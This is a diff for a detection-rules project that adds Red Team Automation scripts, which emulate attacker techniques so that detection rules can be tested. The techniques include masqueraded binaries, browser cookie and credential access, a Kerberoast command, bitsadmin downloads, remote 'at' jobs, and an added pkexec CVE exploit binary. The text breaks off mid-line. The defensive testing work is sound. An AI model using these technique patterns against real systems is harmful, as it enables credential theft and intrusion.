diff --git a/detection_rules/main.py b/detection_rules/main.py index 54e8ccbab..baa1a68d9 100644 --- a/detection_rules/main.py +++ b/detection_rules/main.py @@ -17,7 +17,9 @@ from uuid import uuid4 import click + from .cli_utils import rule_prompt, multi_collection +from .mappings import build_coverage_map, get_triggered_rules, print_converage_summary from .misc import add_client, client_error, nested_set, parse_config, load_current_package_version from .rule import TOMLRule, TOMLRuleContents from .rule_formatter import toml_write @@ -425,3 +427,29 @@ def prep_rule(author: str): updated_rule.write_text(json.dumps(template_rule, sort_keys=True)) click.echo(f'Rule saved to: {updated_rule}. Import this to Kibana to create alerts on all dnstwist-* indexes') click.echo('Note: you only need to import and enable this rule one time for all dnstwist-* indexes') + + +@root.group('rta') +def rta_group(): + """Commands related to Red Team Automation (RTA) scripts.""" + + +# create command to show rule-rta coverage +@rta_group.command('coverage') +@click.option("-o", "--os-filter", default="all", + help="Filter rule coverage summary by OS. (E.g. windows) Default: all") +def rta_coverage(os_filter: str): + """Show coverage of RTA / rules by os type.""" + + # get all rules + all_rules = RuleCollection.default() + + # get rules triggered by RTA + triggered_rules = get_triggered_rules() + + # build coverage map + coverage_map = build_coverage_map(triggered_rules, all_rules) + + # # print summary + all_rule_count = len(all_rules.rules) + print_converage_summary(coverage_map, all_rule_count, os_filter) diff --git a/detection_rules/mappings.py b/detection_rules/mappings.py index e67bc00dc..82567dd44 100644 --- a/detection_rules/mappings.py +++ b/detection_rules/mappings.py @@ -7,10 +7,14 @@ import os from collections import defaultdict +from rta import get_available_tests + +from .rule import TOMLRule from .schemas import validate_rta_mapping -from .utils import load_etc_dump, save_etc_dump, get_path +from .utils import get_path, load_etc_dump, save_etc_dump RTA_DIR = get_path("rta") +RTA_PLATFORM_TYPES = ["windows", "linux", "macos"] class RtaMappings: @@ -73,3 +77,78 @@ class RtaMappings: rta_files.add(rta_path) return list(sorted(rta_files)) + + +def get_triggered_rules() -> dict: + """Get the rules that are triggered by each RTA.""" + triggered_rules = {} + for rta_test in list(get_available_tests().values()): + for rule_info in rta_test.get("siem", []): + rule_id = rule_info.get("rule_id") + for platform in rta_test.get("platforms", []): + triggered_rules.setdefault(platform, []).append(rule_id) + return triggered_rules + + +def get_platform_list(rule: TOMLRule) -> list: + """Get the list of OSes for a rule.""" + os_list = [] + if rule.contents.metadata.os_type_list: + os_list = [r.lower() for r in rule.contents.metadata.os_list] + elif rule.contents.data.tags: + tags = [t.lower() for t in rule.contents.data.tags] + os_list = [t for t in RTA_PLATFORM_TYPES if t in tags] + return os_list + + +def build_coverage_map(triggered_rules: dict, all_rules) -> dict: + """Get the rules that are not covered by each rta.""" + + # avoid a circular import + from .rule_loader import RuleCollection + all_rules: RuleCollection + + coverage_map = {"all": 0} + for rule in all_rules.rules: + rule_covered = False + os_list = get_platform_list(rule) + + for os_type in os_list: + prefix = "" + + if rule.contents.metadata.maturity == "development": + prefix = "DIAG : " + elif rule.contents.metadata.maturity == "deprecated": + prefix = "DEPR : " + + if rule.id in triggered_rules[os_type]: + coverage_map.setdefault(os_type, {}).setdefault("supported", []).append(f"- [x] {prefix}{rule.name}") + rule_covered = True + else: + coverage_map.setdefault(os_type, {}).setdefault("unsupported", []).append(f"- [ ] {prefix}{rule.name}") + if rule_covered: + coverage_map["all"] += 1 + + return coverage_map + + +def print_converage_summary(coverage_map: dict, all_rule_count: int, os_filter: str): + """Print the coverage summary.""" + print("\n\nCoverage Report\n") + supported_count = coverage_map["all"] + print(f"{supported_count} / {all_rule_count} unique detection rules are supported by RTAs for all OS types") + + for os_type, results in coverage_map.items(): + + if os_type != "all" and (os_type == os_filter or os_filter == "all"): + supported = results["supported"] + unsupported = results["unsupported"] + + print(f"\n{os_type} coverage: {len(supported)} / {len(supported) + len(unsupported)}") + print("Supported:") + for rule in sorted(set(supported)): + print(f"\t{rule}") + + print("Unsupported:") + for rule in sorted(set(unsupported)): + print(f"\t{rule}") diff --git a/rta/__init__.py b/rta/__init__.py index baace2567..70420cf7c 100644 --- a/rta/__init__.py +++ b/rta/__init__.py @@ -4,41 +4,75 @@ # 2.0. import importlib +import inspect +from dataclasses import asdict, dataclass, field from pathlib import Path -from typing import List, Optional +from typing import Dict, List, Optional from . import common CURRENT_DIR = Path(__file__).resolve().parent -def get_ttp_list(os_types: Optional[List[str]] = None) -> List[str]: - scripts = [] - if os_types and not isinstance(os_types, (list, tuple)): - os_types = [os_types] +@dataclass +class RtaMetadata: + """Metadata associated with all RTAs.""" - for script in CURRENT_DIR.glob("*.py"): - base_name = script.stem - if base_name not in ("common", "main") and not base_name.startswith("_"): - if os_types: - # Import it and skip it if it's not supported - importlib.import_module(__name__ + "." + base_name) - if not any(base_name in common.OS_MAPPING[os_type] for os_type in os_types): - continue + uuid: str + platforms: List[str] - scripts.append(str(script)) + path: Path = field(init=False) + name: str = field(init=False) + endpoint: Optional[List[dict]] = None + siem: Optional[List[dict]] = None + techniques: Optional[List[str]] = None - return scripts + def __post_init__(self): + """Set the path and name based on the callee and check for platforms.""" + + # set the path of the callee + for frame in inspect.stack(): + self.path = Path(frame.filename) + self.name = self.path.name + if frame.function == "" and valid_rta_file(self.path): + break + + # check for valid platforms + if not self.platforms and (self.endpoint or self.siem): + raise ValueError(f"RTA {self.name} has no platforms specified but has rule info provided.") -def get_ttp_names(os_types: Optional[List[str]] = None) -> List[str]: - names = [] - for script in get_ttp_list(os_types): - basename = Path(script).stem - names.append(basename) - return names +def valid_rta_file(file_path: str) -> bool: + return file_path.stem not in ["init", "common", "main"] and not file_path.name.startswith("_") -__all__ = ( - "common" -) +def get_available_tests(print_list: bool = False, os_filter: str = None) -> Dict[str, dict]: + """Get a list of available tests.""" + + test_metadata = {} + + for file in CURRENT_DIR.rglob("*.py"): + + if valid_rta_file(file): + module = importlib.import_module(f"rta.{file.stem}") + + if os_filter and os_filter not in module.metadata.platforms and os_filter != "all": + continue + + test_metadata[file.stem] = asdict(module.metadata) + + if print_list: + longest_test_name = len(max(test_metadata.keys(), key=len)) + header = f"{'name':{longest_test_name}} | {'platforms':<30}" + + print("Printing available tests") + print(header) + print("=" * len(header)) + + for test in test_metadata.values(): + print(f"{test['name']:<{longest_test_name}} | {', '.join(test['platforms'])}") + + return test_metadata + + +__all__ = "common" diff --git a/rta/__main__.py b/rta/__main__.py index e0f1b508f..a73e0dd55 100644 --- a/rta/__main__.py +++ b/rta/__main__.py @@ -4,25 +4,27 @@ # 2.0. import argparse +import difflib import importlib import subprocess import sys import time from pathlib import Path -from . import get_ttp_list, get_ttp_names +from . import get_available_tests from .common import CURRENT_OS DELAY = 1 +RTA_PLATFORM_TYPES = ["windows", "linux", "macos"] def run_all(): """Run a single RTA.""" errors = [] - for ttp_file in get_ttp_list(CURRENT_OS): + for ttp_file in get_available_tests(os_filter=CURRENT_OS): print(f"---- {Path(ttp_file).name} ----") - p = subprocess.Popen([sys.executable, ttp_file]) + p = subprocess.Popen([sys.executable, "-m", "rta", "-n", ttp_file]) p.wait() code = p.returncode @@ -37,25 +39,39 @@ def run_all(): def run(ttp_name: str, *args): """Run all RTAs compatible with OS.""" - if ttp_name not in get_ttp_names(): - raise ValueError(f"Unknown RTA {ttp_name}") + ttp_names = sorted(get_available_tests()) + if ttp_name not in ttp_names: + suggestion = ', '.join(difflib.get_close_matches(ttp_name, ttp_names, n=3)) + if suggestion: + suggestion = f"Did you mean {suggestion}?" + raise ValueError(f"Unknown RTA {ttp_name}. {suggestion}") module = importlib.import_module("rta." + ttp_name) return module.main(*args) -if __name__ == '__main__': +if __name__ == "__main__": parser = argparse.ArgumentParser("rta") - parser.add_argument("--ttp-name") + parser.add_argument("-n", "--name", dest="name", nargs='+', + help="Name(s) of test(s) to execute. E.g. bitsadmin_execution adobe_hijack") + parser.add_argument("-l", "--list", dest="list", action="store_true", help="Print a list of available tests") + parser.add_argument("-o", "--os-filter", dest="os_filter", default="all", choices=RTA_PLATFORM_TYPES, + help="Filter rule coverage summary by OS. (E.g. windows) Default: all",) parser.add_argument("--run-all", action="store_true") parser.add_argument("--delay", type=int, help="For run-all, the delay between executions") parsed_args, remaining = parser.parse_known_args() - if parsed_args.ttp_name and parsed_args.run_all: - raise ValueError(f"Pass --ttp-name or --run-all, not both") + if parsed_args.name: + if parsed_args.run_all: + raise ValueError(f"Pass ttp --name or --run-all, not both") + else: + for rta_test in parsed_args.name: + rta_name = Path(rta_test).stem + exit(run(rta_name, *remaining)) - if parsed_args.run_all: + elif parsed_args.list: + get_available_tests(print_list=True, os_filter=parsed_args.os_filter) + elif parsed_args.run_all: exit(run_all()) else: - rta_name = Path(parsed_args.run).stem - exit(run(rta_name, *remaining)) + print("Execute 'python -m rta -h' to see available options") diff --git a/rta/adobe_hijack.py b/rta/adobe_hijack.py index f17327164..3499f58f8 100644 --- a/rta/adobe_hijack.py +++ b/rta/adobe_hijack.py @@ -11,9 +11,19 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="2df08481-31db-44a8-b01d-1c0df827bddb", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "2bf78aa2-9c56-48de-b139-f169bf99cf86", "rule_name": "Adobe Hijack Persistence"}], + techniques=["T1574"], +) + + +@common.requires_os(metadata.platforms) def main(): rdr_cef_dir = "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF" rdrcef_exe = os.path.join(rdr_cef_dir, "RdrCEF.exe") diff --git a/rta/adobe_priv_helper_tool.py b/rta/adobe_priv_helper_tool.py new file mode 100644 index 000000000..5de11a21a --- /dev/null +++ b/rta/adobe_priv_helper_tool.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e5d376ae-d634-41fa-903c-42f35736a615", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Suspicious Child Process of Adobe Acrobat Reader Update Service", + "rule_id": "f85ce03f-d8a8-4c83-acdc-5c8cd0592be7", + } + ], + techniques=["T1068"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/com.adobe.ARMDC.SMJobBlessHelper" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake com.adobe.ARMDC.SMJobBlessHelper commands to adobe mimic privesc") + common.execute([masquerade, "childprocess", masquerade], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/app_bundler_execution.py b/rta/app_bundler_execution.py new file mode 100644 index 000000000..7f58655c6 --- /dev/null +++ b/rta/app_bundler_execution.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ea7c50ad-5736-48c7-bf39-50f708710826", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Script Execution via macOS Application Bundle", + "rule_id": "94a891a9-3771-4a8c-a6ca-82fa66cfd7e2", + } + ], + siem=[], + techniques=["T1553", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/launchd" + masquerade2 = "/tmp/bash" + masquerade3 = "/tmp/curl" + common.create_macos_masquerade(masquerade) + common.create_macos_masquerade(masquerade2) + common.create_macos_masquerade(masquerade3) + + # Execute command + common.log("Launching fake macOS application bundler commands") + command = f"{masquerade2} test.app/Contents/MacOS/test-psntest" + common.execute([masquerade, "childprocess", command], timeout=10, kill=True) + common.execute([masquerade2, "childprocess", masquerade3], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/appcompat_shim.py b/rta/appcompat_shim.py index 71dcabc87..2173bef06 100644 --- a/rta/appcompat_shim.py +++ b/rta/appcompat_shim.py @@ -11,11 +11,24 @@ import time from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a4a8608e-d94f-4eb1-b500-738328307bbc", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "fd4a992d-6130-4802-9ff8-829b89ae801f", "rule_name": "Potential Application Shimming via Sdbinst"} + ], + techniques=["T1546"], +) + SHIM_FILE = common.get_path("bin", "CVE-2013-3893.sdb") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(SHIM_FILE) def main(): common.log("Application Compatibility Shims") diff --git a/rta/at_command.py b/rta/at_command.py index 083ad1bc7..f2f15cea6 100644 --- a/rta/at_command.py +++ b/rta/at_command.py @@ -14,44 +14,55 @@ import re import sys from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="961d7a1f-7bad-41d5-a3d9-8e8a2f59a824", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(target_host=None): target_host = target_host or common.get_ip() - host_str = '\\\\%s' % target_host + host_str = "\\\\%s" % target_host # Current time at \\localhost is 11/16/2017 11:25:50 AM - code, output = common.execute(['net', 'time', host_str]) - match = re.search(r'Current time at .*? is (\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+) (AM|PM)', output) + code, output = common.execute(["net", "time", host_str]) + match = re.search(r"Current time at .*? is (\d+)/(\d+)/(\d+) (\d+):(\d+):(\d+) (AM|PM)", output) groups = match.groups() m, d, y, hh, mm, ss, period = groups - now = datetime.datetime(month=int(m), day=int(d), year=int(y), hour=int(hh), minute=int(mm), second=int(ss)) - if period == 'PM' and hh != '12': + now = datetime.datetime( + month=int(m), + day=int(d), + year=int(y), + hour=int(hh), + minute=int(mm), + second=int(ss), + ) + if period == "PM" and hh != "12": now += datetime.timedelta(hours=12) # Add one hour task_time = now + datetime.timedelta(hours=1) # Round down minutes - time_string = '%d:%d' % (task_time.hour, task_time.minute) + time_string = "%d:%d" % (task_time.hour, task_time.minute) # Enumerate all remote tasks - common.execute(['at.exe', host_str]) + common.execute(["at.exe", host_str]) # Create a job 1 hour into the future - code, output = common.execute(['at', host_str, time_string, 'cmd /c echo hello world']) + code, output = common.execute(["at", host_str, time_string, "cmd /c echo hello world"]) - if code == 1 and 'deprecated' in output: + if code == 1 and "deprecated" in output: common.log("Unable to continue RTA. Not supported in this version of Windows") return common.UNSUPPORTED_RTA if code == 0: - job_id = re.search('ID = (\d+)', output).group(1) + job_id = re.search("ID = (\d+)", output).group(1) # Check status and delete - common.execute(['at.exe', host_str, job_id]) - common.execute(['at.exe', host_str, job_id, '/delete']) + common.execute(["at.exe", host_str, job_id]) + common.execute(["at.exe", host_str, job_id, "/delete"]) if __name__ == "__main__": diff --git a/rta/atom_init_coffee.py b/rta/atom_init_coffee.py new file mode 100644 index 000000000..59809c164 --- /dev/null +++ b/rta/atom_init_coffee.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from pathlib import Path +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="72c2470b-c96e-4b44-88ec-1a67c4ec091c", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Potential Persistence via Atom Init Script Modification", + "rule_id": "b4449455-f986-4b5a-82ed-e36b129331f7", + } + ], + techniques=["T1037"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + atom_dir = Path.home().joinpath(".atom") + atom_dir.mkdir(parents=True, exist_ok=True) + atom_path = atom_dir.joinpath("init.coffee") + common.log(f"Executing file modification on {atom_path} to mimic malicious Atom init file.") + common.temporary_file_helper("testing", file_name=atom_path) + + # cleanup + common.remove_directory(str(atom_dir)) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/auth_plugin.py b/rta/auth_plugin.py new file mode 100644 index 000000000..8007b6735 --- /dev/null +++ b/rta/auth_plugin.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="96c3cc10-7f86-428c-b353-e9de52472a96", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Authorization Plugin Modification", "rule_id": "e6c98d38-633d-4b3e-9387-42112cd5ac10"}], + techniques=["T1547"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing file modification on test.plist to mimic authorization plugin modification") + common.temporary_file_helper("testing", file_name="/Library/Security/SecurityAgentPlugins/test.plist") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/automator_workflows.py b/rta/automator_workflows.py new file mode 100644 index 000000000..d5f8d7405 --- /dev/null +++ b/rta/automator_workflows.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6294e8bd-a82e-4d60-9de7-cceb639e91d9", + platforms=["macos"], + endpoint=[ + {"rule_name": "Suspicious Automator Workflows Execution", "rule_id": "e390d36d-c739-43ee-9e3d-5a76fa853bd5"} + ], + siem=[{"rule_name": "Suspicious Automator Workflows Execution", "rule_id": "5d9f8cfc-0d03-443e-a167-2b0597ce0965"}], + techniques=["T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/automator" + masquerade2 = "/tmp/com.apple.automator.runner" + common.create_macos_masquerade(masquerade) + common.copy_file("/usr/bin/curl", masquerade2) + + # Execute command + common.log("Launching fake commands to launch Automator workflows") + common.execute([masquerade], timeout=10, kill=True) + common.execute([masquerade2, "portquiz.net"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/bifrost_attack.py b/rta/bifrost_attack.py new file mode 100644 index 000000000..9d3affeee --- /dev/null +++ b/rta/bifrost_attack.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="057f2c1b-28cc-4286-92ce-75e789aa8e74", + platforms=["macos"], + endpoint=[ + {"rule_name": "Potential Kerberos Attack via Bifrost", "rule_id": "fecebe4f-2d28-46e7-9bc1-71cdd8ecdd60"} + ], + siem=[{"rule_name": "Potential Kerberos Attack via Bifrost", "rule_id": "16904215-2c95-4ac8-bf5c-12354e047192"}], + techniques=["T1558", "T1550"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/bifrost" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake bifrost attack with kerberoast commands") + common.execute([masquerade, "-action", "-kerberoast"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/bin/DoublePersist.exe b/rta/bin/DoublePersist.exe new file mode 100644 index 000000000..ba33e7563 Binary files /dev/null and b/rta/bin/DoublePersist.exe differ diff --git a/rta/bin/Invoke-ImageLoad.ps1 b/rta/bin/Invoke-ImageLoad.ps1 new file mode 100644 index 000000000..e11e1d195 --- /dev/null +++ b/rta/bin/Invoke-ImageLoad.ps1 @@ -0,0 +1,27 @@ +function Invoke-ImageLoad { + + [CmdletBinding()] + param( + [Parameter(Position=0,Mandatory=$True)] + [String] + $DllPath + ) + + $type=@" + using System; + using System.Runtime.InteropServices; + public class ImportIt + { + public const string DLLPath = @"$DLLPath"; + [DllImport(DLLPath, EntryPoint = "GetClassNameW", CharSet = CharSet.Unicode)] + public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type); + + public static void Main() + { + MessageBox(new IntPtr(0), "Hello RTA!", "Hello Dialog", 0); + } + } +"@ + Add-Type -TypeDefinition $type; + [ImportIt]::Main(); +} \ No newline at end of file diff --git a/rta/bin/__init__.py b/rta/bin/__init__.py index e56d61909..72ea1f6e2 100644 --- a/rta/bin/__init__.py +++ b/rta/bin/__init__.py @@ -2,4 +2,3 @@ # or more contributor license agreements. Licensed under the Elastic License # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. - diff --git a/rta/bin/com.apple.ditto_and_spawn_arm b/rta/bin/com.apple.ditto_and_spawn_arm new file mode 100755 index 000000000..288756d22 Binary files /dev/null and b/rta/bin/com.apple.ditto_and_spawn_arm differ diff --git a/rta/bin/com.apple.ditto_and_spawn_intel b/rta/bin/com.apple.ditto_and_spawn_intel new file mode 100755 index 000000000..4a54ba444 Binary files /dev/null and b/rta/bin/com.apple.ditto_and_spawn_intel differ diff --git a/rta/bin/com.apple.sleep_arm b/rta/bin/com.apple.sleep_arm new file mode 100755 index 000000000..3c6afe03f Binary files /dev/null and b/rta/bin/com.apple.sleep_arm differ diff --git a/rta/bin/com.apple.sleep_intel b/rta/bin/com.apple.sleep_intel new file mode 100755 index 000000000..a21dddc9a Binary files /dev/null and b/rta/bin/com.apple.sleep_intel differ diff --git a/rta/bin/highentropy.txt b/rta/bin/highentropy.txt new file mode 100644 index 000000000..276396276 Binary files /dev/null and b/rta/bin/highentropy.txt differ diff --git a/rta/bin/linux.ditto_and_spawn b/rta/bin/linux.ditto_and_spawn new file mode 100755 index 000000000..ad3bfb9c3 Binary files /dev/null and b/rta/bin/linux.ditto_and_spawn differ diff --git a/rta/bin/notepad_launch.inf b/rta/bin/notepad_launch.inf new file mode 100644 index 000000000..bc78155e6 --- /dev/null +++ b/rta/bin/notepad_launch.inf @@ -0,0 +1,9 @@ +[version] +Signature=$chicago$ +AdvancedINF=2.5 + +[DefaultInstall_SingleUser] +UnRegisterOCXs=UnRegisterOCXSection + +[UnRegisterOCXSection] +%11%\scrobj.dll,NI,C:\Users\Administrator\Desktop\rta\bin\notepad.sct \ No newline at end of file diff --git a/rta/bin/pkexec_cve20214034/cve-2021-4034 b/rta/bin/pkexec_cve20214034/cve-2021-4034 new file mode 100755 index 000000000..0390a795c Binary files /dev/null and b/rta/bin/pkexec_cve20214034/cve-2021-4034 differ diff --git a/rta/bin/rcedit-x64.exe b/rta/bin/rcedit-x64.exe new file mode 100644 index 000000000..36764c62d Binary files /dev/null and b/rta/bin/rcedit-x64.exe differ diff --git a/rta/bin/regsvr32.exe b/rta/bin/regsvr32.exe new file mode 100644 index 000000000..bcdfe6bc8 Binary files /dev/null and b/rta/bin/regsvr32.exe differ diff --git a/rta/bin/renamed.exe b/rta/bin/renamed.exe new file mode 100644 index 000000000..c8350334a Binary files /dev/null and b/rta/bin/renamed.exe differ diff --git a/rta/bin/renamed_posh.exe b/rta/bin/renamed_posh.exe new file mode 100644 index 000000000..82395ec4d Binary files /dev/null and b/rta/bin/renamed_posh.exe differ diff --git a/rta/bin/thread_injector_arm b/rta/bin/thread_injector_arm new file mode 100755 index 000000000..8b805ce37 Binary files /dev/null and b/rta/bin/thread_injector_arm differ diff --git a/rta/bin/thread_injector_intel b/rta/bin/thread_injector_intel new file mode 100755 index 000000000..c1b3a5393 Binary files /dev/null and b/rta/bin/thread_injector_intel differ diff --git a/rta/binary_masquerade.py b/rta/binary_masquerade.py new file mode 100644 index 000000000..cc596ad66 --- /dev/null +++ b/rta/binary_masquerade.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import platform +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="62eb4521-cfb8-4fb8-bc6d-792fe57273b7", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Potential Binary Masquerading via Invalid Code Signature", + "rule_id": "4154c8ce-c718-4641-80db-a6a52276f1a4", + } + ], + siem=[], + techniques=["T1036"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + if platform.processor() == "arm": + name = "com.apple.sleep_arm" + else: + name = "com.apple.sleep_intel" + path = common.get_path("bin", name) + common.execute([path, "5"], kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/bitsadmin_download.py b/rta/bitsadmin_download.py index 39c7c6a7f..38e8bd7fb 100644 --- a/rta/bitsadmin_download.py +++ b/rta/bitsadmin_download.py @@ -13,9 +13,19 @@ import os import subprocess from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="aee48793-01ec-428f-9890-c5db9df07830", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "a624863f-a70d-417f-a7d2-7a404638d47f", "rule_name": "Suspicious MS Office Child Process"}], + techniques=["T1566"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Running Windows BitsAdmin to Download") server, ip, port = common.serve_web() @@ -26,9 +36,9 @@ def main(): common.log("Emulating parent process: {parent}".format(parent=fake_word)) common.copy_file("C:\\Windows\\System32\\cmd.exe", fake_word) - command = subprocess.list2cmdline(['bitsadmin.exe', '/Transfer', '/Download', url, dest_path]) + command = subprocess.list2cmdline(["bitsadmin.exe", "/Transfer", "/Download", url, dest_path]) common.execute([fake_word, "/c", command], timeout=15, kill=True) - common.execute(['taskkill', '/f', '/im', 'bitsadmin.exe']) + common.execute(["taskkill", "/f", "/im", "bitsadmin.exe"]) common.remove_files(dest_path, fake_word) diff --git a/rta/bitsadmin_execution.py b/rta/bitsadmin_execution.py new file mode 100644 index 000000000..667cfcd97 --- /dev/null +++ b/rta/bitsadmin_execution.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import subprocess +from pathlib import Path +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e7a55d39-37b4-4f37-9519-3779b3c23bfa", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Bitsadmin Activity", "rule_id": "676ac66c-4899-498f-ae21-ed5620af5477"}, + {"rule_name": "Suspicious Microsoft Office Child Process", "rule_id": "c34a9dca-66cf-4283-944d-1800b28ae690"}, + ], + siem=[], + techniques=["T1197", "T1566"], +) + +ROOT_DIR = Path(__file__).parent +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + + fake_word = ROOT_DIR / "winword.exe" + common.log(f"Copying {EXE_FILE} to {fake_word}") + common.copy_file(EXE_FILE, fake_word) + + command = subprocess.list2cmdline(["bitsadmin.exe", "/Transfer", "/Download"]) + common.execute([fake_word, "/c", command], timeout=15, kill=True) + common.execute(["taskkill", "/f", "/im", "bitsadmin.exe"]) + + common.remove_files(fake_word) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/browser_cred_access.py b/rta/browser_cred_access.py new file mode 100644 index 000000000..062f81885 --- /dev/null +++ b/rta/browser_cred_access.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from pathlib import Path +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ea187b1f-4aa0-4ffc-bac9-9ee1d55552fd", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Suspicious Access to Stored Browser Credentials", + "rule_id": "cea870d6-e6ee-4435-bc80-2c80e834c5d1", + } + ], + siem=[{"rule_name": "Access of Stored Browser Credentials", "rule_id": "20457e4f-d1de-4b92-ae69-142e27a4342a"}], + techniques=["T1539", "T1555"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/bash" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to aquire browser creds") + cookie_path = f"{Path.home()}/Library/Application Support/Google/Chrome/Default/Cookies" + common.execute([masquerade, cookie_path], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/browser_debugging.py b/rta/browser_debugging.py new file mode 100644 index 000000000..07ac4434e --- /dev/null +++ b/rta/browser_debugging.py @@ -0,0 +1,69 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import platform + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="e061a96e-4c31-4f67-9745-6ff873f7829e", + platforms=["windows", "macos", "linux"], + endpoint=[ + { + "rule_name": "Potential Cookies Theft via Browser Debugging", + "rule_id": "5d7328aa-973b-41e7-a6b3-6f40ea3094f1", + } + ], + siem=[ + { + "rule_name": "Potential Cookies Theft via Browser Debugging", + "rule_id": "027ff9ea-85e7-42e3-99d2-bbb7069e02eb", + } + ], + techniques=["T1539"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + param1 = "--remote-debugging-port=9222" + param2 = "--user-data-dir=remote-profile" + if platform.system() == "Darwin": + if platform.processor() == "arm": + name = "com.apple.ditto_and_spawn_arm" + else: + name = "com.apple.ditto_and_spawn_intel" + + source = common.get_path("bin", name) + chrome = "/tmp/google-chrome" + common.copy_file(source, chrome) + + common.log("Starting browser on debug mode") + common.execute([chrome, param1, param2], 